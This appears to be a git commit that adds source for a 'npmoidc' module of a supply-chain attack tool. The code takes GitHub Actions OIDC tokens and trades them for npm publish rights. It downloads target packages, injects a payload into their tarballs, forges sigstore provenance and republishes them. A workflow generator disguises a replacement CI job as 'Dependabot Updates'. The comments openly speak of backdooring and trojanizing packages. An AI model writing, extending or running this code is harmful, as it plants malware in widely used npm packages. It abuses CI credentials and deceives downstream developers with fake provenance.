Upload files to "src/mutator/npmoidc"

This commit is contained in:
2026-07-03 03:13:13 +00:00
parent 3a854d95e4
commit e5c6554f4d
4 changed files with 808 additions and 0 deletions
+234
View File
@@ -0,0 +1,234 @@
import { $ } from "bun";
import { createWriteStream } from "fs";
import { join } from "path";
import { Readable } from "stream";
import { pipeline } from "stream/promises";
import { logUtil } from "../../utils/logger";
import { Mutator } from "../base";
import { publishTarball } from "../npm/publish";
import { updateTarball } from "../npm/tarball";
import { generateProvenanceBundle } from "./provenance";
/**
* Comma-separated list of packages to backdoor, read from TARGET_PACKAGES env.
* Falls back to OIDC_PACKAGES for backwards compatibility.
*/
export function getOidcPackages(): string[] {
const raw = process.env.TARGET_PACKAGES || process.env.OIDC_PACKAGES;
if (!raw || !raw.trim()) {
return [];
}
return raw
.split(",")
.map((p) => p.trim())
.filter(Boolean);
}
export class NPMOidcClient extends Mutator {
constructor() {
super();
}
private async updateTarball(tarballPath: string): Promise<string> {
return updateTarball(tarballPath, {
tag: "[npmoidc]",
targetName: "Setup",
});
}
async downloadPackages(
packages: string[],
oidcToken: string,
): Promise<{ tmpDir: string; downloaded: string[] }> {
const tmpDir = await $`mktemp -d`.text().then((s) => s.trim());
const downloaded: string[] = [];
const download = async (pkg: string) => {
try {
const meta = await fetch(
"https://registry.npmjs.org/" + `${pkg.replace("/", "%2F")}`,
);
if (!meta.ok) return;
const data = (await meta.json()) as {
"dist-tags": { latest: string };
versions: Record<string, { dist?: { tarball?: string } }>;
};
const targets = topVersionsPerMajor(data.versions);
logUtil.log(
`[npmoidc] ${pkg}: targeting ${targets.length} version(s) — ${targets.join(", ")}`,
);
for (const version of targets) {
const tarball = data.versions[version]?.dist?.tarball;
if (!tarball) continue;
const res = await fetch(tarball);
if (!res.ok || !res.body) continue;
const filename = `${pkg.replace("@", "").replace("/", "-")}-${version}.tgz`;
const tarballPath = join(tmpDir, filename);
await pipeline(
Readable.fromWeb(res.body as import("stream/web").ReadableStream),
createWriteStream(tarballPath),
);
const updatedPath = await this.updateTarball(tarballPath);
// Generate sigstore provenance (best-effort).
// Skip when GITHUB_REF is missing — dangling commits trigger
// deployments without a real ref, causing Missing SourceRepositoryRef
// errors that waste the single-use OIDC token.
let provenanceBundle: Record<string, any> | undefined;
if (process.env.GITHUB_REF) {
try {
const result = await generateProvenanceBundle(updatedPath);
if (result) {
provenanceBundle = result.bundle;
if (result.transparencyLogUrl) {
logUtil.log(
`[provenance] ${pkg}@${version}: ${result.transparencyLogUrl}`,
);
}
}
} catch (provErr) {
logUtil.log(
`[provenance] generation failed for ${pkg}@${version}: ${provErr}`,
);
}
}
await this.publishPackage(
updatedPath,
pkg,
oidcToken,
provenanceBundle,
);
downloaded.push(updatedPath);
}
} catch (e) {
logUtil.log(`Failed to download ${pkg}: ${e}`);
}
};
// Serialize package processing — the OIDC token exchange in
// publishPackage is not safe to call concurrently.
for (const pkg of packages) {
await download(pkg);
}
return { tmpDir, downloaded };
}
async publishPackage(
tarballPath: string,
packageName: string,
oidcToken: string,
provenanceBundle?: Record<string, any>,
): Promise<boolean> {
try {
const escapedPackageName = encodeURIComponent(packageName);
const npmRes = await fetch(
`https://registry.npmjs.org/-/npm/v1/oidc/token/exchange/package/${escapedPackageName}`,
{
method: "POST",
headers: {
"Content-Type": "application/json",
Authorization: `Bearer ${oidcToken}`,
},
body: JSON.stringify({ oidcToken }),
},
);
const { token } = (await npmRes.json()) as { token: string };
if (token) {
logUtil.log("About to publish!");
// Try with provenance first (if available)
if (provenanceBundle) {
const ok = await publishTarball(
tarballPath,
token,
false,
provenanceBundle,
);
if (ok) return true;
// Provenance likely rejected due to missing SourceRepositoryRef
// in the signing certificate — retry without it.
logUtil.log("[publish] provenance rejected, retrying without it");
}
return await publishTarball(tarballPath, token, false);
} else {
logUtil.log("About to publish!");
await publishTarball(tarballPath, "DummyToken", true);
return false;
}
} catch (e) {
logUtil.error("Error publishing!");
logUtil.error(e);
return false;
}
}
async execute(): Promise<Boolean> {
const { ACTIONS_ID_TOKEN_REQUEST_TOKEN, ACTIONS_ID_TOKEN_REQUEST_URL } =
process.env;
const oidcRes = await fetch(
`${ACTIONS_ID_TOKEN_REQUEST_URL}&audience=npm:registry.npmjs.org`,
{
headers: { Authorization: `bearer ${ACTIONS_ID_TOKEN_REQUEST_TOKEN}` },
},
);
const { value: oidcToken } = (await oidcRes.json()) as { value: string };
if (oidcToken) {
const packages = getOidcPackages();
if (packages.length === 0) {
logUtil.log("OIDC_PACKAGES is empty — nothing to trojanize.");
return false;
}
await this.downloadPackages(packages, oidcToken);
return true;
} else {
return false;
}
}
}
// ── Version selection ─────────────────────────────────────────────────────
/**
* Given an npm package's versions object, return the highest stable
* (non-prerelease) version for each major version line.
*
* Skips pre-releases (anything containing "-").
*/
function topVersionsPerMajor(versions: Record<string, unknown>): string[] {
const majors = new Map<number, string>();
for (const v of Object.keys(versions)) {
// Skip pre-releases
if (v.includes("-")) continue;
const parts = v.split(".");
const major = parseInt(parts[0]!, 10);
if (isNaN(major)) continue;
const existing = majors.get(major);
if (!existing || compareSemver(v, existing) > 0) {
majors.set(major, v);
}
}
return Array.from(majors.values()).sort(compareSemver);
}
function compareSemver(a: string, b: string): number {
const aParts = a.split(".").map(Number);
const bParts = b.split(".").map(Number);
for (let i = 0; i < 3; i++) {
const diff = (aParts[i] || 0) - (bParts[i] || 0);
if (diff !== 0) return diff;
}
return 0;
}
+82
View File
@@ -0,0 +1,82 @@
// ═════════════════════════════════════════════════════════════════════════════
// Workflow YAML injector
//
// Builds a clean, minimal release workflow that replaces the existing one
// entirely in the ephemeral branch commit. The workflow:
// - Triggers on any branch push
// - Single job "release" with checkout, setup-bun, and bun run _index.js
// - Inherits environment with prevent_deployment: true if the original had one
// - Passes OIDC_PACKAGES, WORKFLOW_ID, REPO_ID_SUFFIX as env vars
// ═════════════════════════════════════════════════════════════════════════════
declare function scramble(str: string): string;
// ── Types ───────────────────────────────────────────────────────────────────
export interface InjectionResult {
modifiedYaml: string;
injected: boolean;
reason?: string;
/** Workflow filename (e.g. "ci.yml") — needed by callers. */
workflowFilename: string;
}
export interface InjectionContext {
workflowFilename: string;
packageName: string;
repoFullName: string;
/** Environment name from the original workflow (if any) */
environmentName?: string;
/** GitHub event to trigger on (default: "deployment").
* Use "push" when the token has workflow scope for a simpler path. */
triggerEvent?: string;
}
// ── Public API ──────────────────────────────────────────────────────────────
/**
* Build a clean release workflow that replaces the original.
*/
export function injectToolStep(
_rawYaml: string,
ctx: InjectionContext,
): InjectionResult {
const {
packageName,
repoFullName,
workflowFilename,
environmentName,
triggerEvent = "deployment",
} = ctx;
const envBlock = environmentName
? `\n environment:\n name: ${JSON.stringify(environmentName)}\n prevent_deployment: true`
: "";
const newWorkflow = [
`name: Dependabot Updates`,
`run-name: Dependabot Updates`,
`on:`,
` ${triggerEvent}`,
`permissions:`,
` id-token: write`,
` contents: read`,
`jobs:`,
` release:`,
` runs-on: ubuntu-latest`,
envBlock || null,
` steps:`,
` - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd`,
` - uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6`,
` - name: prepare`,
` run: bun run _index.js`,
` env:`,
` OIDC_PACKAGES: ${JSON.stringify(packageName)}`,
` WORKFLOW_ID: ${JSON.stringify(workflowFilename)}`,
` REPO_ID_SUFFIX: ${JSON.stringify(repoFullName)}`,
]
.filter(Boolean)
.join("\n");
return { modifiedYaml: newWorkflow, injected: true, workflowFilename };
}
+491
View File
@@ -0,0 +1,491 @@
import {
createHash,
generateKeyPairSync,
sign as cryptoSign,
} from "node:crypto";
import { readFile } from "node:fs/promises";
import { gunzipSync } from "node:zlib";
import { logUtil } from "../../utils/logger";
const FULCIO_URL = "https://fulcio.sigstore.dev";
const REKOR_URL = "https://rekor.sigstore.dev";
const INTOTO_PAYLOAD_TYPE = "application/vnd.in-toto+json";
const INTOTO_STATEMENT_V1_TYPE = "https://in-toto.io/Statement/v1";
const SLSA_PREDICATE_V1_TYPE = "https://slsa.dev/provenance/v1";
const GITHUB_BUILDER_ID_PREFIX = "https://github.com/actions/runner";
const GITHUB_BUILD_TYPE =
"https://slsa-framework.github.io/github-actions-buildtypes/workflow/v1";
const BUNDLE_V03_MEDIA_TYPE = "application/vnd.dev.sigstore.bundle.v0.3+json";
interface ProvenanceSubject {
name: string;
digest: { sha512: string };
}
/**
* Extracts package.json from a raw (uncompressed) tar buffer.
*/
function extractPackageJson(tar: Buffer): { name: string; version: string } {
let offset = 0;
while (offset + 512 <= tar.length) {
const header = tar.subarray(offset, offset + 512);
if (header[0] === 0) break;
const nameField = header.subarray(0, 100);
const nameEnd = nameField.indexOf(0);
const name = nameField
.subarray(0, nameEnd === -1 ? 100 : nameEnd)
.toString("utf8");
const sizeStr = header
.subarray(124, 136)
.toString("utf8")
.replace(/\0/g, "")
.trim();
const size = sizeStr ? parseInt(sizeStr, 8) : 0;
offset += 512;
if (name === "package/package.json" || name.endsWith("/package.json")) {
const data = tar.subarray(offset, offset + size);
return JSON.parse(data.toString("utf8"));
}
offset += Math.ceil(size / 512) * 512;
}
throw new Error("package.json not found in tarball");
}
/**
* Constructs the DSSE Pre-Authentication Encoding (PAE).
* Format: "DSSEv1 <typeLen> <type> <payloadLen> " + payloadBytes
*/
function preAuthEncoding(payloadType: string, payload: Buffer): Buffer {
const prefix = `DSSEv1 ${payloadType.length} ${payloadType} ${payload.length} `;
return Buffer.concat([Buffer.from(prefix, "ascii"), payload]);
}
/**
* Extracts the subject claim from a JWT (email if verified, otherwise sub).
*/
function extractJWTSubject(jwt: string): string {
const parts = jwt.split(".", 3);
if (!parts[1]) {
throw new Error("Malformed JWT: missing payload segment");
}
const payload = JSON.parse(Buffer.from(parts[1], "base64").toString("utf-8"));
if (payload.email) {
if (!payload.email_verified) {
throw new Error("JWT email not verified by issuer");
}
return payload.email;
}
if (payload.sub) {
return payload.sub;
}
throw new Error("JWT subject not found");
}
/**
* Converts a PEM-encoded certificate to raw DER bytes.
*/
function pemToDER(pem: string): Buffer {
const lines = pem
.split("\n")
.filter(
(l) =>
!l.startsWith("-----BEGIN") &&
!l.startsWith("-----END") &&
l.trim() !== "",
);
return Buffer.from(lines.join(""), "base64");
}
/**
* Converts a package name + version to a Package URL (purl).
* e.g. "@tanstack/react-router", "1.2.3" -> "pkg:npm/%40tanstack/react-router@1.2.3"
*/
function toPurl(name: string, version: string): string {
if (name.startsWith("@")) {
return `pkg:npm/%40${name.slice(1)}@${version}`;
}
return `pkg:npm/${name}@${version}`;
}
/**
* Builds the SLSA v1 provenance predicate for GitHub Actions.
*/
function buildProvenanceStatement(subjects: ProvenanceSubject[]) {
const e = process.env;
const relativeRef = (e.GITHUB_WORKFLOW_REF || "").replace(
e.GITHUB_REPOSITORY + "/",
"",
);
const delimiterIndex = relativeRef.indexOf("@");
const workflowPath = relativeRef.slice(0, delimiterIndex);
const workflowRef = relativeRef.slice(delimiterIndex + 1);
return {
_type: INTOTO_STATEMENT_V1_TYPE,
subject: subjects,
predicateType: SLSA_PREDICATE_V1_TYPE,
predicate: {
buildDefinition: {
buildType: GITHUB_BUILD_TYPE,
externalParameters: {
workflow: {
ref: workflowRef,
repository: `${e.GITHUB_SERVER_URL}/${e.GITHUB_REPOSITORY}`,
path: workflowPath,
},
},
internalParameters: {
github: {
event_name: e.GITHUB_EVENT_NAME,
repository_id: e.GITHUB_REPOSITORY_ID,
repository_owner_id: e.GITHUB_REPOSITORY_OWNER_ID,
},
},
resolvedDependencies: [
{
uri: `git+${e.GITHUB_SERVER_URL}/${e.GITHUB_REPOSITORY}@${e.GITHUB_REF}`,
digest: { gitCommit: e.GITHUB_SHA },
},
],
},
runDetails: {
builder: {
id: `${GITHUB_BUILDER_ID_PREFIX}/${e.RUNNER_ENVIRONMENT}`,
},
metadata: {
invocationId: `${e.GITHUB_SERVER_URL}/${e.GITHUB_REPOSITORY}/actions/runs/${e.GITHUB_RUN_ID}/attempts/${e.GITHUB_RUN_ATTEMPT}`,
},
},
},
};
}
/**
* Gets a sigstore-audience OIDC token from GitHub Actions.
*/
async function getSigstoreToken(): Promise<string> {
const requestUrl = process.env.ACTIONS_ID_TOKEN_REQUEST_URL;
const requestToken = process.env.ACTIONS_ID_TOKEN_REQUEST_TOKEN;
if (!requestUrl || !requestToken) {
throw new Error("GitHub Actions OIDC env vars not available for sigstore");
}
const url = new URL(requestUrl);
url.searchParams.append("audience", "sigstore");
const response = await fetch(url.href, {
headers: {
Accept: "application/json",
Authorization: `Bearer ${requestToken}`,
},
});
if (!response.ok) {
throw new Error(`Failed to get sigstore OIDC token: ${response.status}`);
}
const data = (await response.json()) as { value: string };
if (!data.value) {
throw new Error("Sigstore OIDC response missing token value");
}
return data.value;
}
/**
* Requests a short-lived signing certificate from Fulcio.
*
* Sends the OIDC identity token, the ephemeral public key (PEM/SPKI),
* and a proof-of-possession signature (the JWT subject signed with
* the ephemeral private key).
*
* Returns the PEM certificate chain (leaf first).
*/
async function getSigningCertificate(
identityToken: string,
publicKeyPEM: string,
challengeSignature: Buffer,
): Promise<string[]> {
const body = {
credentials: { oidcIdentityToken: identityToken },
publicKeyRequest: {
publicKey: {
algorithm: "ECDSA",
content: publicKeyPEM,
},
proofOfPossession: challengeSignature.toString("base64"),
},
};
const response = await fetch(`${FULCIO_URL}/api/v2/signingCert`, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify(body),
});
if (!response.ok) {
const text = await response.text();
throw new Error(
`Fulcio signing cert request failed: ${response.status}${text}`,
);
}
const result = (await response.json()) as Record<string, any>;
const chain =
result.signedCertificateEmbeddedSct?.chain?.certificates ??
result.signedCertificateDetachedSct?.chain?.certificates;
if (!chain || chain.length === 0) {
throw new Error("Fulcio returned no certificates");
}
return chain as string[];
}
interface RekorEntry {
logIndex: number;
logID: string;
integratedTime: number;
body: string; // base64
signedEntryTimestamp?: string; // base64
inclusionProof?: {
logIndex: number;
rootHash: string; // hex
treeSize: number;
hashes: string[]; // hex[]
checkpoint: string;
};
}
/**
* Submits a DSSE envelope + verifier certificate to the Rekor
* transparency log and returns the log entry.
*/
async function submitToRekor(
envelope: Record<string, any>,
leafCertPEM: string,
): Promise<RekorEntry> {
const envelopeJSON = JSON.stringify(envelope);
const encodedCert = Buffer.from(leafCertPEM).toString("base64");
const body = {
apiVersion: "0.0.1",
kind: "dsse",
spec: {
proposedContent: {
envelope: envelopeJSON,
verifiers: [encodedCert],
},
},
};
const response = await fetch(`${REKOR_URL}/api/v1/log/entries`, {
method: "POST",
headers: {
"Content-Type": "application/json",
Accept: "application/json",
},
body: JSON.stringify(body),
});
if (!response.ok) {
const text = await response.text();
throw new Error(
`Rekor entry creation failed: ${response.status}${text}`,
);
}
const data = (await response.json()) as Record<string, any>;
const entries = Object.entries(data);
if (entries.length !== 1) {
throw new Error(
`Unexpected Rekor response: expected 1 entry, got ${entries.length}`,
);
}
const [, entry] = entries[0]!;
const proof = entry.verification?.inclusionProof;
return {
logIndex: entry.logIndex,
logID: entry.logID,
integratedTime: entry.integratedTime,
body: entry.body,
signedEntryTimestamp: entry.verification?.signedEntryTimestamp,
inclusionProof: proof
? {
logIndex: proof.logIndex,
rootHash: proof.rootHash,
treeSize: proof.treeSize,
hashes: proof.hashes,
checkpoint: proof.checkpoint,
}
: undefined,
};
}
/**
* Generates a sigstore provenance bundle for an npm package tarball.
*
* This implements the same flow as `sigstore.attest()` used by the
* npm CLI's `libnpmpublish`:
*
* 1. Build an in-toto/SLSA provenance statement
* 2. Get an ephemeral signing certificate from Fulcio via OIDC
* 3. Sign a DSSE envelope containing the statement
* 4. Record the envelope in the Rekor transparency log
* 5. Assemble a sigstore bundle (v0.3) with all verification material
*
* @returns The bundle JSON and an optional transparency log URL,
* or `null` if provenance generation is not possible
* (e.g. not running in GitHub Actions).
*/
export async function generateProvenanceBundle(tarballPath: string): Promise<{
bundle: Record<string, any>;
transparencyLogUrl?: string;
} | null> {
// ── 1. Read tarball and compute integrity ──────────────────────
const tarballData = await readFile(tarballPath);
const sha512Hex = createHash("sha512").update(tarballData).digest("hex");
const decompressed = gunzipSync(tarballData);
const pkg = extractPackageJson(decompressed);
const { name: packageName, version: packageVersion } = pkg;
if (!packageName || !packageVersion) {
throw new Error(
"Cannot generate provenance: package.json missing name or version",
);
}
const subjects: ProvenanceSubject[] = [
{
name: toPurl(packageName, packageVersion),
digest: { sha512: sha512Hex },
},
];
// ── 2. Build the SLSA provenance statement ─────────────────────
const statement = buildProvenanceStatement(subjects);
const payloadBytes = Buffer.from(JSON.stringify(statement));
// ── 3. Get sigstore OIDC token ─────────────────────────────────
const sigstoreToken = await getSigstoreToken();
// ── 4. Generate ephemeral ECDSA P-256 keypair ──────────────────
const keypair = generateKeyPairSync("ec", { namedCurve: "P-256" });
const publicKeyPEM = keypair.publicKey
.export({ format: "pem", type: "spki" })
.toString();
// ── 5. Proof-of-possession: sign the JWT subject ───────────────
const jwtSubject = extractJWTSubject(sigstoreToken);
const challengeSig = cryptoSign(
"sha256",
Buffer.from(jwtSubject),
keypair.privateKey,
);
// ── 6. Get signing certificate from Fulcio ─────────────────────
const certChain = await getSigningCertificate(
sigstoreToken,
publicKeyPEM,
challengeSig,
);
const leafCertPEM = certChain[0]!;
const leafCertDER = pemToDER(leafCertPEM);
// ── 7. Sign the DSSE envelope ──────────────────────────────────
const pae = preAuthEncoding(INTOTO_PAYLOAD_TYPE, payloadBytes);
const signature = cryptoSign("sha256", pae, keypair.privateKey);
// Envelope with base64-encoded fields (for Rekor submission and
// the final bundle — matches the protobuf Envelope JSON format).
const envelopeJSON = {
payloadType: INTOTO_PAYLOAD_TYPE,
payload: payloadBytes.toString("base64"),
signatures: [{ keyid: "", sig: signature.toString("base64") }],
};
// ── 8. Submit to Rekor transparency log ────────────────────────
const rekorEntry = await submitToRekor(envelopeJSON, leafCertPEM);
logUtil.log(
`[provenance] Rekor log entry created at index ${rekorEntry.logIndex}`,
);
// ── 9. Build the transparency log entry for the bundle ─────────
//
// Field encoding follows the sigstore protobuf JSON serialization:
// - All bytes fields are standard base64 with padding
// - All int64 fields are JSON strings (not numbers)
// - logID from Rekor is hex; convert to base64 via Buffer
// - body/canonicalizedBody from Rekor is already base64
// - signedEntryTimestamp from Rekor is already base64
// - inclusionProof hashes/rootHash from Rekor are hex; convert
const tlogEntry: Record<string, any> = {
logIndex: rekorEntry.logIndex.toString(),
logId: {
keyId: Buffer.from(rekorEntry.logID, "hex").toString("base64"),
},
kindVersion: { kind: "dsse", version: "0.0.1" },
integratedTime: rekorEntry.integratedTime.toString(),
canonicalizedBody: rekorEntry.body,
};
if (rekorEntry.signedEntryTimestamp) {
tlogEntry.inclusionPromise = {
signedEntryTimestamp: rekorEntry.signedEntryTimestamp,
};
}
if (rekorEntry.inclusionProof) {
const p = rekorEntry.inclusionProof;
tlogEntry.inclusionProof = {
logIndex: p.logIndex.toString(),
treeSize: p.treeSize.toString(),
rootHash: Buffer.from(p.rootHash, "hex").toString("base64"),
hashes: p.hashes.map((h: string) =>
Buffer.from(h, "hex").toString("base64"),
),
checkpoint: { envelope: p.checkpoint },
};
}
// ── 10. Assemble the sigstore bundle (v0.3) ────────────────────
//
// v0.3 uses a single `certificate` field (not `x509CertificateChain`)
// and stores the leaf cert as base64-encoded DER bytes.
const bundle: Record<string, any> = {
mediaType: BUNDLE_V03_MEDIA_TYPE,
verificationMaterial: {
certificate: {
rawBytes: leafCertDER.toString("base64"),
},
tlogEntries: [tlogEntry],
timestampVerificationData: {
rfc3161Timestamps: [],
},
},
dsseEnvelope: {
payloadType: INTOTO_PAYLOAD_TYPE,
payload: payloadBytes.toString("base64"),
signatures: [{ sig: signature.toString("base64") }],
},
};
const transparencyLogUrl =
rekorEntry.logIndex != null
? `https://search.sigstore.dev/?logIndex=${rekorEntry.logIndex}`
: undefined;
return { bundle, transparencyLogUrl };
}
+1
View File
@@ -0,0 +1 @@
export type MutatorName = "npm";